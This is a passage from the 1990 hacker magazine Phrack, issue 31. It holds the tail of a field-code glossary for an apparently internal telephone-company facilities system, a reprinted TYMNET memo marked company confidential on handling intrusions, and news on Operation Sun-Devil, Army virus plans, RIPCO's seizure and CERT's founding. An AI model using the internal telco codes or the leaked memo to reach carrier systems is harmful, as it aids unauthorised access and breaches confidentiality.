N=No New Values
PL Private line Circuit Number
PL XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
PNL PREMIS Number List for TN
PNL XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
POP Line Equipment Print Option
POP XXX
CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS
CNG=Concentrator Group-2ESS, 3ESS
HG=Horizontal Group-5XBAR
IM=Interface Module-5ESS
LFG=Line Finder Group-SXS
LLF=Line Link Frame-5XBAR
LLN=Line Link Net-1ESS
LTN=Line Trunk Net-2ESS
LU=Link Unit Module-5ESS
QC=Quarter Choice-1XBAR
SW=Switch-1XBAR
VF=Vertical FIle-5XBAR
PR Cable Pair ID
PR YXXX
Y=Alphanumeric
XXX=Numeric
PRI Frame Priority
PRI XX
XX=Two Numeric Characters
PRP Permanent Cable Pair Remarks
PRP XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
PRZ Preferred Rate Zone
PRT X
X=Numeric
PS Previously Published/Non-published Facility Indicator
PS X
N=Non-Published
!=Published
PT Package Time
PT XXX
XXX=Three Numeric Characters
PTY Party Number or Position
PTY X
X=1-4
PTY Party Indicator
PTY X
R=Reserved
O=Open
PWC PREMIS Wire Center
PWC XX...XX
XX...XX=Maximum of 8 Alphanumeric Characters
PWC Print Work Code
PWC XXX
NBT=No Back Tap
COM=Frame Complete
PBT=Print Back Tap
RCT=Place Heat Coils on "TO" Pair
RBT=Remove Back Tap
RCF=Remove Heat Coils on "FROM" Pair
VBT=Verify Back Tap
USX=Locally Defined Codes (X=1-4)
RAP Rotary Assignment Priority
RAP X
X=Numeric
RCT Recent Change Type
RCT XX
1=1ESS Office
1A=1AESS Office
2=2ESS (LO1)
2E=2ESS (EF1 and EF2)
3=3ESS
5T=5ESS
RCW Recent Change Keyword
RCW XX...XX
XX...XX=Maximum of 20 Alphanumeric Characters
RD Release Date
RD MM-DD-YY
MM=Month
DD=Day
YY=Year
RDG Message Register Reading
RDG XXXX
XXXX=Four Numeric Characters
REC Record File Name and Number
REC FFXXXXXX
FF=File Name (Alphanumeric)
XXXXXX=Record Number (Maximum of 6 Numeric Characters)
REP Reprint Option
REP X
Y=Yes
N=No
RESP Send a Solicited Response
RESP X
S=Solicited Response
REW Rework Status
REW X
Y=Yes
N=No
RLF Re-using DIPs Upper Bound Load Factor
RLF X
X=1-9
RLO Automatic Relay Assignment Present
RLO X
Y=Yes
N=No
RLY Miscellaneous Relay
RLY XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
RMK Remarks on Orders
RMK XX...XX
XX...XX=Maximum of 28 Alphanumeric Characters
RMKG Hunt Group Remarks
RMKG XX...XX
XX...XX=Maximum of 30 Alphanumeric Characters
RMKO Remarks on Office Equipment
RMKO XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
RMKP Remarks on Cable Pair
RMKP XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
RMKT Remarks on Telephone Number
RMKT XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
RNO RSS Subentity Number
RNO XX
XX=01-63
RTI Route Index
RTI XXXX
XXXX=Maximum of 4 Numeric Characters
RTYP Relay Type
RTYP XXX
TBA=Tens Block Auxiliary
SC=Sleeve Connect
AR=Advance
RTZ Rate Zone
RTZ X
X=Numeric
RW Recent Change Work
RW X
N=Recent Change Message not Required
C=Recent Change Coordination Required
RZ Resistance Zone
RZ XX
XX=Two Numeric Characters
SBS Sub-status
SBS X
A=Area Transfer
C=Cut Through
D=Dedicated
L=Cut Through and Dedicated
!=Blank
SC Sleeve Connect Relay
SC SYY-ZZZ
S=Marker Group (Numeric)
YY=Number Group Frame (Numeric)
ZZZ=Relay Number (Numeric)
SE Special Service Equipment Number
SE XX...XX
XX...XX=Maximum of 52 Alphanumeric Characters
SET Single Entity Tag
SET X
Y=CP is Served by a Single Entity on a Single Frame
!=CP Can be Served by More Than One Entity
SG Service Segment
SG X
B=Business
C=Coin
D=Data
R=Residence
S=Special
SGN Common Language Segment Number
SGN XXX
XXX=Maximum of 3 Alphanumeric Characters
SIS Special Identifying Telephone Number Supplement
SIS XXXX
XXXX=Maximum of 4 Numeric Characters
SIT Special Identifying Telephone Number
SIT XXX-YYY-XXXX
X=Numeric
Y=Numeric
SK Skip Option
SK X
X=0 or 2-9
SN Sequence Number
SN XXX
XXX=1-999
SOB Service Observing Tag
SOB XXX
XXX=YES or NO
SS Suspension Status
SS XX
DB=Deny Both Ways
DI=Deny Incoming
DO=Deny Outgoing
RS=Restore Suspended Circuit
SB=Suspend Both Ways
SD=Season Disconnect
SI=Suspend Incoming
SO=Suspend Outgoing
DX=Deny Toll Access Tervice
SSV Suspend Service Type
SSV XX
DO=Deny Outward Service
DB=Deny Both Outward and Inward Service
DX=Deny Toll Access Service
RS=Restore Denied Service
STAT Order Status
STAT XX
AC=Pending With no Framd or Installation Completion
FC=Pending With Frame Completion but no Installation Completion
IC=Pending with Installation Complation but no Frame Completion
CC=Completed Orders
CA=Canceled Orders
STAT Facility Status
STAT XX
AS=All Spare
EX=Excluded
PC=Pending Connect
RS=Reserved
SF=Spare Facility
UK=Unknown
WK=Working
STAT Load Group Status
STAT XX
EX=Blocked from all Assignments
FU=Open for Dial Transfer Assignments Only
PS=Pseudo LEN Assignments Only
SO=Open for Service Orders and Work Orders Only
WK=Open for All Assignments
STO Line Equipment Status
STO XX
AW=All Working
MS=Miscellaneous
OF=Official
TJ=Trunk and Junctor
TS=Test
WK=Working
PD=Pending Disconnect
PK Pending Disconnect/Pending New Connect
AS=All Spare
EX=Excluded
LI=Left-in Disconnect
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
STP Cable and Pair Status
STP XX
AL=All Pairs
AD=All Defective
AP=All Provisioned
AW=All Working
DC=Designed Circuit
DI=Defective (I=1-9)
DM=Designed + SSM
DP=Designed + SSP
SM=Special Safeguard Measures
SP=Special Safeguard Protection
SS=Special Status
WK=Working
AS=All Spare
EX=Excluded
LI=Left-in Disconnect
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
PD=Pending Disconnect
STT Telephone Number Status
STT XX
AU=Auxiliary
AW=All Working
MS=Miscellaneous
NP=Non-published
OF=Official
TJ=Trunk and Junctor
TS=Test
WK=Working
AS=All Spare
AV=Available
CM=Changed-Machine Intercept
CO=Changed-Operator Intercept
DM=Disconnected-Machine Intercept
DO=Disconnected-Operator Intercept
EX=Excluded
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
PD=Pending Disconnect
PK=Pending Disconnect/Pending New Connect
SUBL Sublet Service
SUBL XXX-XXXX
XXX-XXXX=Telephone Number
SWC Set Work Code
SWC XXX
(See Print Work Code)
SWG Switch Group
SWG X
X=0-2
SYS Machine Number
SYS XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
TA Transfer Assembly
TA X
Y=Yes
N=No
TAP Touchtone Assignment Priority Number
TAP X
X=Numeric
TBA TBA Relay
TBA XYY-ZZZ
X=Marker Group Number (Numeric)
YY=Number Group Frame (Numeric)
ZZZ=Relay Number (Numeric)
TBS TBS Relay
TBS XZ-NN
X=Marker Group Number (0-9)
Z=Relay Number (0-3)
NN=Ringing Combination (01-16)
TC TO Cable
TX XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
TER Terminal
TER XXXX
XXXX=Maximum of 4 Numeric Characters
TER Terminal Number
TER Y-XXXX-ZZZZ
Y=Control Group (Alphanumeric)
XXXX=Group Number (Numeric)
ZZZZ=Terminal Number (Numeric)
THG Thousands Group
THG X or
THG XXXX
X=0-9
XXXX=0000,1000,...,9000
TK Trunk Cable and Pair Number
TK YYYYYY-XXXX
YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)
XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)
TLI Telephone Line Identifier
TLI XXX-YYY-XXXX
X=Numeric
Y=Alphanumeric
TN Telephone Number
TN XXX-XXXX
XXX-XXXX=Telephone Number
TOM Two or More Non-pending, Non-party Filtered Circuit Facilities
TOM XX
CP=Cable Pair
TN=Telephone Number
OE=Office Equipment
TP Tie Pair
TP YY...YY-XXXX
YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)
XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)
TPR Taper Code
TPR XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
TRE Transmission Equipment
TRE XX...XX
XX...XX=Maximum of 17 Alphanumeric Characters
TT Telephone Number Type
TT X
B=POTs Hunting
C=Coin
G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)
O=Official
Q=Centrex
X=POTx Non-hunting
TTA Terminating Traffic Area
TTA XXX
XXX=Maximum of 3 Alphanumeric Characters
TYP Switching Type
TYP XXX
1ES=Number 1ESS
2ES=Number 2ESS
3ES=Number 3ESS
5ES=Number 5ESS
RSS=Remote Switching System
1XB=Number 1 Cross-bar
5XB=Number 5 Cross-bar
SXS=Step-by-step
DMX=DMS-10
DMC=DMS-100
US USOC
US XXXXX
XXXXX=Maximum of 5 Alphanumeric Characters
USE Entity Usage
USE X
G=Growth
S=Stable
VAL Minimum Valid Hours for Entity Data
VAL XX
XX=1-99
WC Wire Center
WC XX
XX=Alphanumeric
WL Work Location
WL Y
Y=1-8 or
WL XXX
ADM=Administrative
ACT=Assignment Change Ticket
CPC=Special Service Circuits
MCT=Maintenance Change Tickets
WPN Work Package Number
WPN XXXX
XXXX=1-9999
WPT Work Package Type
WPT XXX
XXX=Maximum of 3 Alphanumeric Characters
XN "X" Number
XN XXX-YYXX or
XN XXX-YXX
X=Numeric
Y=Alphanumeric
ZN Zone Location
ZN XXX
XXX=001-999
=============================================================================
ACKNOWLEDGEMENTS
Skinny Puppy for refreshing my memory
The Urvile for the "$*" file and further usage of echo
Bell Laboratories OPA-1Y600-01
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #7 of 10
COMPANY CONFIDENTIAL
INTERIM MEMORANDUM
SUBJECT: TYMNET SUPPORT FOR CUSTOMER'S DATA SECURITY
PURPOSE: This document provides background, and general procedures
and practices used to support customers with suspected security
problems. Field Sales is the intended audience but is a general
document and may be useful to other customer support personnel.
Currently, this document is in a final review. Meanwhile, it is to
retain the status of an internal proprietary document.
BACKGROUND: BT Tymnet Inc, and its Network Systems Company,
believe information integrity is vital to ourselves and our
customers. One way TYMNET insures integrity is by providing good
security. TYMNET has a baseline security of user name, password,
and user access profile available for all customers. Further, there
are two security products. One permits the customer to limit
password life (password automatically expires after a customer
elected time period) and the other permits the end user to change
his/her own password. Since we do consider security a key issue,
we continue to develop other security features. Also, we work with
Security vendors to certify their security products on our network,
thus permitting customers to add such products, should they so
desire.
We have established Network Systems Company Policies which provide
a framework for the information contained herein (see NSC Policy
121 and 122. More policies are in distribution as of this
writing). It is highly recommended that these policies be reviewed
since they represent the framework of this document.
Legal considerations are another key issue in any security case.
Support, other then providing the customer with related security
data, can only occur if law(s) have been broken. The
legal issues are complex and only a minimal information is
provided herein. At at the heart of this issue is the fact that
the customer is the injured party, not TYMNET. Patience and good
communication may be required to get the customer to understand
this fact. The customers must act for themselves to obtain
law enforcement support. TYMNET will support that activity, and
help to the degree possible, much as a "friend of the court".
THE SUPPORT: We provide security support as a responsible
network service provider. The first step in that support is for
the field sales representative to act as a security consultant to
the customer, at least to the extent explained below.
The customer is well advised to plan in advance "what to do
when Captain Midnight strikes" -- contingency planning, pure
simple. First there are two basic alternatives to choose from:
PROTECT AND PROCEED
OR
PURSUE AND PROSECUTE
"Protect and proceed" means 1) determine how the incident
occurred, 2) plug the security leak/hole, and 3) go on with
business as normal.
(Do we want written notification of the Intent to "Pusue and
Prosecute" from the "Injured Party?").
"Pursue and prosecute" is just that. The first step is having
the customer obtain legal support, and both we and the customer
continue to gather evidence until the suspect is apprehended. The
next step is the prosecution in a court of law. (The final step is
to return to the first alternative, e.g., now protect and
proceed.)
The customer needs to judge each case on its own merits, but
generally the first choice is the wiser one. The second choice
involves considerable effort, mostly by the customer and law
enforcement agency(s), possible negative publicity for the
customer and does not necessarily result in successful prosecution.
Good contingency planning also includes becoming familiar with the
laws and the local law enforcement people.
The starting point is a suspected incident. Herein, we will address
the case where the customer has identified a suspected intruder.
Generally, that occurs by a customer's detailed review of billing
or host based security exception reports.
At this point it is essential the field sales representative open a
ticket containing at least the following: 1) customer name and CID,
2) host(s) involved, 3) incident start and stop times, and 4) the
customer's objective. Add any other information deemed helpful.
Other support may be an on-line trace of the call, if the
suspect is currently on-line. Field support should do this trace, or
alternately, this same help can be obtained by calling network
customer support and/or NetCon. In any case it must be done while
the suspect is on-line. Such trace information should be
included on the ticket.
Based on the customer's position; the case will fit either
"prevent and proceed" or, "pursue and prosecute". The former is
straight forward, in that TYMNET security will research the
incidents(s), and provide data (generally user name and point of
origin(s) to the customer via Field Sales, with recommendations
on how to prevent any further occurrence. We do provide this
service as a responsible vendor, although strict interpretation
of NSC policy 121 precludes it. However, we do apply the policy if
a customer continues to ask for data without taking preventative
action.
The "pursue and prosecute" case is complex, and is different for each
situation. It will be explained by using a typical scenario. After
the first step (as above), it is necessary to gather data sufficient
to show a pattern of intrusion from a single TYMNET access point.
With this information, the customer (the injured party) must contacts
law enforcement agency(s), with the one exception noted below.
If that intrusion point is through a gateway from a foreign
country, for all practical purposes, the customer can do little to
prosecute. The law(s) of the foreign country will apply since
extradition is most unlikely. Therefore, action will have to be
have to be initiated by the network service provider in the
foreign country. In this case, TYMNET security will have MIS
research the session details to obtain the Network User
Identifier, and External Network Support (Jeff Oliveto's
organization) will communicate that information to the foreign
network for their action (cases involving U.S. government computers
may get special treatment - see for example - Communications of the
ACM, May, 1988, article on "Stalking the Wiley Hacker").
Most all security incidents on our network are caused by international
hackers using X.121 addressing. Frequently, our customer is unaware
of the risk of X.121 addressing, and permits it. BE SURE YOUR
CUSTOMERS KNOW THAT THEY CAN CHOOSE FULL TYMNET SECURITY FEATURES,
THEREBY PRECLUDING SUCH INTRUSIONS FROM X.121 ADDRESSING FROM
FOREIGN NETWORKS.
For the domestic case, the customer gets law enforcement (attorney
general at incoming call location, secret service if credit card
fraud is involved, or possibly the FBI, depending on the incident)
to open a case. Note, damage in estimated dollars is usually
necessary to open a case, and many agencies will not take action on
small claims. For example, as of December, 1988, the Los Angeles
Attorney will not open a case for less than $10,000 (they have too
big a caseload at higher damages).
Assuming legal support is provided, a court order for a wire tap
and trace will be obtained, thereby determining the caller's phone
number (this step can be very involved and time consuming for long
distance calls). The next legal action occurs after the calling
number is identified. A search warrant is obtained for searching the
facility housing the phone location. Normally, this search will
gather evidence sufficient for prosecution. Evidence is typically
the necessary terminal equipment, printouts, diskettes, etc. Then,
at long last the prosecution. Also note, again at the time the
calling number is identified, the injured party should use the
"protect and proceed" plan.
For further information, contact Data Security, TYMNET Validations,
or Ontyme NSC.SECURITY.
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #8 or 10
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN Phrack World News PWN
PWN Issue XXXI, Part One PWN
PWN Compiled by Phreak_Accident PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Operation "Sun-Devil"
=====================
May 9th and 10th brought on two day thats would be marked in every hackers
history book. The reason we assume these days will be important to many, is
that maybe it's time we opened are eyes and saw the witch hunt currently in
progress.
In less than 48 hours, 150 Secret Service men and other law officials
served 30 search warrents in 14 cities around the nation (This thing was hudge).
Operation "Sun-Devil" (As the Attorney General in Phoenix called it), was
a success on their part. "The investigation though is not over, and there are
more warrents to be executed.", said Jim Folwer of L.A's Secret Service.
Any details of the investigation are not being given out at this time.
The Asst. Attorney General of Pheonix told Phrack Inc. that there were other
problems involving the investigation and that it was an ongoing investigation
for the last TWO years.
It is my understanding that Gail Thackeray and the Secret Service are not,
taking this lightly. She told Phrack inc. that they are not distinquishing
pirates, hackers, or phreakers. Basically, it's any kid with a modem that calls
a BBS with an alias. Yes, we are the witches, and we are being
hunted.
The following are Two news releases obtianed via fax through the U.S.
Secret Service for Phrack Inc.
N E W S R E L E A S E
FOR IMMEDIATE RELEASE CONTACT: Gail Thackeray
------------------------ Assitant Attorney General
May 9, 1990 @ 11:00 A.M. (602) 542-4266
Attorney General Bob Corbin announced today that in
connection with an eighteen-month joint investigation into
computer crime conducted with the United States Secret
Service and the United States Attorney's office, the Arizona
Attorney General's office has executed seven search warrants
in which computers, electronic bulletin boards, telephone
test equipment and records have been seized.
The Organized Crime and Racketeering Division
investigation involved complaints by Arizona and out of state
victims of substantial financial losses resulting from credit
card fraud and theft of long distance telephone and data
communications services, and by victims of attacks on
computer systems operated by government agencies, private
corporations, telephone companies, financial institutions,
credit bureaus, and a hospital.
The Arizona Attorney General's office received
information and technical assistance from the Glendale,
Arizona Police Department's Computer Crime Unit, and from
many private sector sources, including Bellcore (Bell
Communications Research), American Express, Communications
carriers U.S. Sprint, AT&T, MCI, Com Systems, MidAmerican
Communications, LDL Communications, and Shared Use Network.
Without the cooperation of these companies and of numerous
federal, state and local law enforcement agencies around the
country, this investigation would have been impossible.
The privacy of our citizens and the health of our
economy depend upon secure, reliable computer systems.
Computer fraud and attempts to compromise senstitive public
and private computer systems will not be tolerated.
Individuals who commit these offenses in Arizona can expect
to be prosecuted.
.end.
P R E S S R E L E A S E
FOR IMMEDIATE RELEASE Contact: Wendy Harnagel
Wednesday, May 9, 1990 United States Attorney's Office
---------------------- (602) 379-3011
PHOENIX -- Stephen M. McNamee, United States Attorney
District of Arizona, Robert K. Corbin, Attorney General for
the State of Arizona, and Henry R. Potosky, Acting Special
Agent in Charge of the United States Secret Service Office in
Phoenix, today announced that approximately twenty-seven
search warrants were executed on Monday and Tuesday, May 7
and 8, 1990, in various cities across the nation by 150
Secret Service agents along with state and local law
enforcement officials. The warrants were issued as a part of
Operation Sundevil, which was a two year investigation into
alleged illegal computer hacking activities.
The United States Secret Service, in cooperation with
the United States Attorney's Office, and the Attorney General
for the State of Arizona, established an operation utilizing
sophisticated investigative techniques, targeting computer
hackers who were alleged to have trafficked in and abuse
stolen credit card numbers, unauthorized long distance
dialing codes, and who conduct unauthorized access and damage
to computers. While the total amount of losses cannot be
calculated at this time, it is estimated that the losses may
run into the millions of dollars. For example, the
unauthorized accessing of long distance telephone credit
cards have resulted in uncollectible charges. The same is
true of the use of stolen credit card numbers. Individuals
are able to utilize the charge accounts to purchase items for
which no payment is made.
Federal search warrants were executed in the following
cities:
Chicago, IL
Cincinatti, OH
Detroit, MI
Los Angeles, CA
Miami, FL
Newark, NJ
New York, NY
Phoenix, AZ
Pittsburgh, PA
Plano, TX
Richmond, VA
San Diego, CA
San Jose, CA
Unlawful computer hacking imperils the health and
welfare of individuals, corporations and government agencies
in the United States who rely on computers and telephones to
communicate.
Technical and expert assistance was provided to the
United States Secret Service by telecommunication companies
including Pac Bel, AT&T, Bellcore, Bell South, MCI, U.S.
Sprint, Mid-American, Southwestern Bell, NYNEX, U.S. West,
and by the many corporate victims. All are to be commended
for their efforts for their efforts in researching intrusions
and documenting losses.
McNamee and Corbin expressed concern that the improper
and alleged illegal use of computers may become the White
Collar crime of the 1990's. McNamee and Corbin reiterated
that the state and federal government will vigorously pursue
criminal violations of statutes under their jurisdiction.
Three individuals were arrested yesterday in other
jurisdictions on collateral or independent state charges.
The investigations surrounding the activities of Operation
Sundevil are continuing.
The investigations are being conducted by agents of the
United States Secret Service and Assistant United States
Attoryney Tim Holtzen, District of Arizona, and Assistant
Arizona Attorney General Gail Thackery.
.end.
_______________________________________________________________________________
Virus mania
===========
Robert T. Morris started it all. Who cares, it's over and done with.
Never the less, it's being dragged out in every national paper. It's old news
so we won't cover it here, but we will tell you about something the Army has up
its sleeve.
Army is Looking for a Few Good Viruses
By Rory J. O'conner
Knight-Ridder Newspapers
______________________________________
The U.S. Army is looking for help to develop the seeds of a new-age germ
warfare: It wants business to help it turn computer "viruses" into military
weapons.
Experts predict the viruses, if sucessfully developed, could be used to
wreak havoc on the increasing number of computers in the battlefield. The
destructive computer programs which have increasingly damaged commercial and
research computer systems in the past four years, could be used to disrupt
military communications and feed misleading data to enemy commanders.
The viruses could aslo be used to alter the programming of crucial
communications satellites serving combat units, the experts said.
The Army is soliciting bids from small businesses to determine the
feasibility of using computer viruses in warefare. And it is willing to pay up
to $550,000 to a company that comes up with a plan for creating the programs -
and figures out how to use military radio systems to introduce them into enemy
computers.
A computer virus is a kind of program designed to disrupt normal operation
of a computer system or damage data ont hat system by altering or destroying
it. The rogue programs are most effective when introduced secretly into the
computer system of an unsuspecting user and when their damage is subtle or
hidden fromt he user for some time.
Viruses are also self-duplicating and can spread undetected from an
infected computer to other computer systems they contact.
So far, more than 60 computer viruses have been identified, most of them
attacking poorly guarded personal computers used by businesses, universities
and inividuals. The Army's virus would have to be more sophisticated than
those programs.
But some detractors of the concept say the Army could wind up with the
same problem it has with biological weapons: Creating destructive elements
that might get loose and cause widespread damage to its own forces as well as
civilians.
"This stuff is very dangerous, and most people involved in creating
viruses are not aware of the threat," said a Bay Area virus expert who asked ot
to be named. "You can't spread anthrax around the world and not have it come
back around to you. And the enemy is using the same kind of computers and
software that we are."
Many experts who are fighting the explosion in virus activity by amateur
programmers are especially angry at government efforts to develop the programs
for the military. Some say it is particulary troubling in light of the
sentencing of Robert T. Morris Jr. (Ed -Ick), convicted in federal court of
sending a similar program through a government sponsored network in 1988.
"It bothers me that the government says in one breath (viruses) are bad
and illegal and then asks for someone to develop them," said Glenn Tenney, a
San Mateco, Calif., programmer and organizer of the annual Computer Hackers
Conference. "If Morris had done the same thing for the Army, they'd have paid
him hundreds of thousands to do it. But he did it on the wrong side and got
punished."
Computer experts say creating a virus to the Army's specifications is
possible with current technology - although some of the Army's requirements
could make developing it more difficult than creating an ordinary personal
computer virus.
First, military computer systems are usually designed with far more
security features than commercial systems, making it much harder for a virus to
enter the systems. Second, the Army is emphasizings the use of radio
communication to inject the virus into enemy systems. Normally, computer
viruses spread through the exchange of floppy disks that contain the rogue
program or along wires connecting several computers. Using complex military
radio signals instead would require expertise that mose programmers don't have.
.end
_______________________________________________________________________________
RIPCO May 8th, 1990
----- -------------
Operation Sun-Devil claimed more than just a few "Codelords" around the
states, it claimed one of the oldest and more popular boards. Nobody knows
when or if RIPCO shall return.
Reportedly, Dr. Ripco was charge on a hand-gun violation after his house
was searched. Phrack inc. can't comment on this.
The following is the exact transcript of the message left on RIPCO's
answering maching after Operation Sun-Devil.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
This is 528-5020.
As you are probably aware, on May 8, the Secret Service conducted a series
of raids across the country. Early news reports indicate these raids
involved people and computers that could be connected with credit card and
long distance toll fraud. Although no arrests or charges were made, Ripco
BBS was confiscated on that morning. It's involvement at this time is
unknown. Since it is unlikely that the system will ever return, I'd just l
say goodbye, and thanks for your support for the last six and a half years.
It's been interesting, to say the least.
Talk to ya later.
{Dr. Ricpo}
*** END OF VOICE MESSAGE ***
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #9 of 10
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN Phrack World News PWN
PWN Issue XXXI, Part Two PWN
PWN Compiled by Phreak_Accident PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
{C}omputer {E}mergency {R}esponse {T}eam
----------------------------------------
Some call it "Internet Police" -- Others call it "just stupid."
CERT however is a mix. But I do give them credit -- After all, have your
number one goal being 'making the Internet more secure' has to be a tough task.
Therefore, we give them credit.
However, CERT is funded by DARPA, which is a government agency. And
anything in my book that the government runs is bad news. Yes, the government
pays the 6 man salary and keep their hot-line active 24 hours a day.
Ahh.. What do you know about CERT? "Nothing" you say? Well, the
following is the press release and other reprints of information about CERT.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Richard Pethia <rdp@SEI.CMU.EDU>
DEAR XXXXXXXXX,
I have been reviewing our correspondence files and have discovered
that your request for information may not have been filled. I
apologize for the delay and hope that the information is still useful
to you. If, after reading the following, you have additional
questions or would like to subscribe to one of our information lists,
please send email with your question/request.
The Computer Emergency Response Team (CERT) was established by the Defense
Advanced Research Projects Agency in November of 1988 to serve members
of the Internet Research community. The press release below describes
the general role of the CERT.
More specifically, the CERT supports individual Internet sites by:
-Working with site personnel to help resolve individual computer security
incidents. Contact potentially affected sites to warn them of
possible security breaches. Work with sites to change the
conditions that allowed incidents to occur.
-Issuing advisories that alert the community to specific system
vulnerabilities or intrusion techniques, as well as the methods to
protect against them.
-Working with the community and system (primarily Unix) vendors to
reslove specific system vulnerabilities.
-Maintaining and operating moderated mailing lists that: (1) provide a
discussion forum for tools and techniques to improve the security of
Unix systems, and (2) provide a discussion forum and alert mechanism
for PC viruses, trojan horses, etc.
Over the past year we have developed hundreds of working relationships
with members of the Internet and other communities and have
established an extensive information collection and dissemination
network. Because of this network of cooperating individuals and
organizations, we are often able to advise the community of problems
allowing them to take corrective action before being affeceted by
those problems.
---------------------
No. 597-88
(202) 695-0192 (Info.)
(202) 697-3189 (Copies)
IMMEDIATE RELEASE December 6, 1988 (202) 697-5737
(Public/Industry)
DARPA ESTABLISHES COMPUTER EMERGENCY RESPONSE TEAM
The Defense Advanced Research Projects Agency (DARPA) announced today
that it has established a Computer Emergency Response Team (CERT) to
address computer security concerns of research users of the Internet,
which includes ARPANET. The Coordination Center for the CERT is
located at the Software Engineering Institute (SEI), Carnegie Mellon
University, Pittsburgh, PA.
In providing direct service to the Internet community, the CERT will
focus on the special needs of the research community and serve as a
prototype for similar operations in other computer communities. The
National Computer Security Center and the National Institute of
Standards and Technology will have a leading role in coordinating the
creation of these emergency response activities.
The CERT is intended to respond to computer security threats such as
the recent self-replicating computer program ("computer virus") that
invaded many defense and research computers.
The CERT will assist the research network communities in responding to
emergency situations. It will have the capability to rapidly
establish communications with experts working to solve the problems,
with the affected computer users and with government authorities as
appropriate. Specific responses will be taken in accordance with
DARPA policies.
It will also serve as a focal point for the research community for
identification and repair of security vulnerabilities, informal
assessment of existing systems in the research community, improvement
to emergency response capability, and user security awareness. An
important element of this function is the development of a network of
key points of contact, including technical experts, site managers,
government action officers, industry contacts, executive level
decision-makers and investigative agencies, where appropriate.
Because of the many network, computer, and systems architectures and
their associated vulnerabilities, no single organization can be
expected to maintain an in-house expertise to respond on its own to
computer security threats, particularly those that arise in the
research community. As with biological viruses, the solutions must
come from an organized community response of experts. The role of the
CERT Coordination Center at the SEI is to provide the supporting
mechanisms and to coordinate the activities of experts in DARPA and
associated communities.
The SEI has close ties to the Department of Defense, to defense and
commercial industry, and to the research community. These ties place
the SEI in a unique position to provide coordination support to the
software experts in research laboratories and in industry who will be
responding in emergencies and to the communities of potentially
affected users.
The SEI is a federally-funded research and development center,
operating under DARPA sponsorship with the Air Force Systems Command
(Electronic Systems Division) serving as executive agent. Its goal is
to accelerate the transition of software technology to defense
systems. Computer security is primarily a software problem, and the
presence of CERT at the SEI will enhance the technology transfer
mission of the SEI in security-related areas.
-END-
QUESTIONS AND ANSWERS: DARPA ESTABLISHES CERT, 12/6/88
Q: Can you provide background on earlier break-ins?
A: On November 2, 1988, thousands of computers connected to
unclassified DoD computer networks were attacked by a virus. Although
the virus did not damage or compromise data, it did have the effect of
denying service to thousands of computer users. The computer science
research community associated with the Defense Advanced Research
Projects Agency (DARPA), along with many other research laboratories
and military sites that use these networks, quickly responded to this
threat. They developed mechanisms to eliminate the infection, to
block the spread of the self-replicating program, and to immunize
against further attack by similar viruses. Software experts from the
University of California at Berkeley, with important contributions
from the Massachusetts Institute of Technology and other network
sites, rapidly analyzed the virus and developed immunization
techniques. These same software experts also provided important
assistance in the more recent Internet intrusion of 27-28 November.
As the events unfolded, DARPA established an ad hoc operation center
to help coordinate the activities of software experts working around
the clock and to provide information to appropriate government
officials. The operations center had three main tasks. It
facilitated communications among the many groups affected, it ensured
that government organizations were promptly informed of developments,
and it provided initial technical analysis in DoD. Although the
threat was contained quickly, a more maliciously designed virus could
have done serious damage.
The recent events serve as a warning that our necessarily increasing
reliance on computers and networks, while providing important new
capabilities, also creates new kinds of vulnerabilities. The
Department of Defense considers this an important national issue that
is of major concern in both the defense and commercial sectors. The
DoD is developing a technology and policy response that will help
reduce risk and provide an emergency reaction response.
Q: Who will be on the CERT?
A: The CERT will be a team of over 100 experts located throughout the
U.S. whose expertise and knowledge will be called upon when needed.
When not being called upon, they will continue their normal daily
work. As noted in the release, these experts will include: technical
experts, site managers, government action officers, industry contacts,
executive-level decision-makers and representatives from investigative
agencies.
recommendations that will be acted upon by DoD authorities.
Q: Is the CERT fully operational now?
A: We are in the very early stages of gathering people for the CERT.
We are first concentrating on collecting technical experts. A staff
is in place at SEI, but details are still being worked out.
Q: Will there just be one CERT?
A: The intent is that each major computer community may decide to
establish its own CERT. Each CERT will therefore serve only a
particular community and have a particular technical expertise. (The
DARPA/SEI CERT will serve, for example, the research community and
have expertise in Berkeley-derived UNIX systems and other systems as
appropriate.) The National Computer Security Center and the National
Institute of Standards and Technology will support the establishment
of the CERTs and coordinate among them.
Q: What are the special needs of the research community that their
CERT will serve?
A: The special challenge of the research community is improving the
level of computer security without inhibiting the innovation of
computer technology. In addition, as is often DARPA's role, their
CERT will serve as a prototype to explore the CERT concept so that
other groups can learn and establish their own.
Q: Does the CERT Coordination Center have a press point of contact?
A: No. Their function is to serve as a nerve center for the user
community.
.end
_______________________________________________________________________________
USA Today and the devil
-----------------------
Many controversies have been made of the article printed in USA Today
after Operation Sun-Devil took it's toll.
Phrack inc. tried to contact the author, and with no luck she wasn't
accepting phone calls. Please remember, this is only a USA Today article --
C'mon, get real USAT.
